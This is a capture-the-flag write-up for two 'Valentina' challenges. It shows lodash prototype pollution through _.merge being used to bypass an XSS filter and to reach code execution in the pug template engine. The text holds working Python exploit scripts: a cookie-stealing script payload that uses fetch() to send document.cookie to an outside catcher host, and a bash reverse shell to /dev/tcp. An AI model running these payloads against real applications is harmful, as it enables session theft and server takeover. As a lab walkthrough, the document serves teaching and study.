Valentina contained 2 challenges sharing a vulnerability but with different applications.
Challenge 1
The website admin checks her reviews with secrets in her cookies.
Walkthrough 1
Given that this project was deep into npm dependency hell the first obvious step was to check if any libraries had vulnerabilities.
$ npm audit
...
lodash <=4.17.20
Severity: critical
Command Injection in lodash - https://github.com/advisories/GHSA-35jh-r3h4-6jhm
Prototype Pollution in lodash - https://github.com/advisories/GHSA-p6mc-m468-83gw
Prototype Pollution in lodash - https://github.com/advisories/GHSA-jf85-cpcp-j695
Prototype pollution in lodash - https://github.com/advisories/GHSA-x5rq-j2xg-h7qm
Prototype Pollution in lodash - https://github.com/advisories/GHSA-fvqr-27wr-82fm
...
Digging into these vulnerabilities and the source code unveiled that CVE-2018-3721, a prototype pollution vulnerability, was likely the target.
The vulnerable functions are ‘defaultsDeep’, ‘merge’, and ‘mergeWith’ which allow a malicious user to modify the prototype of Object via proto causing the addition or modification of an existing property that will exist on all objects.
app.post('/add_review', function (req, res) {
// ...
let review_template = {
review_id: id,
name: "Valentina",
message: "your work is amazing!",
stars: 5
}
let new_review = req.body;
_.merge(review_template, new_review); // <-- this looks vulnerable!
let cleaned_msg = xss(new_review.message);
reviews.set(id, cleaned_msg);
// ...
});
Now that I had a way to pollute arbitrary objects, I just needed to find a way to bypass xss()
, an html escaping function in xssjs.
FilterXSS.prototype.process = function (html) {
// ...
var options = me.options;
var whiteList = options.whiteList; // This isn't set!
// ...
Reading the source code revealed that we could control the whiteList
variable which controlled which tags were escaped.
"whiteList": {
"a": ["target", "href", "title"],
"abbr": ["title"],
"address": [],
"_comment": "...",
}
To retrieve the cookies I added the script
tag to the whitelist and than had the admin visit the review.
import requests
url = "http://localhost:8999/add_review"
payload = "fetch('https://crimist.requestcatcher.com/'+document.cookie)"
review = requests.post(url, headers={'content-type': 'application/json'},
data='{"__proto__": {"whiteList": {"script": []}}, "message": "<script>' + payload + '</script>"}')
id = review.text.split(":")[1]
print("http://localhost:8999/view_review?review_id=" + id) # submit this to /report
Solve 1
maple{l0d4sh_more_lyk_n0da5h_haha_get_it}
Challenge 2
flag.txt
exists in the projects directory.
Walkthrough 2
Given that this website was served by nodejs and I couldn’t read arbitrary files it was clear I’d have to pwn the server further.
After searching for ways to exploit this prototype pollution vulnerability further I found this blog post about exploiting pug, the template engine used in this project.
I won’t re-hash their work, check out the post if you’re interested. To summarize, it gets you RCE so you can pop a reverse shell.
import requests
url = "http://localhost:8999"
review = requests.post(url + "/add_review", json={
"__proto__": {
"debug": True,
"block": {
"type": "Text",
"line": "console.log(process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/<ipip>/3333 0>&1'`))",
},
},
"message": ":)",
})
Solve 2
maple{Th1s_was_really_c0mpl1cAted_Im_s0rrY}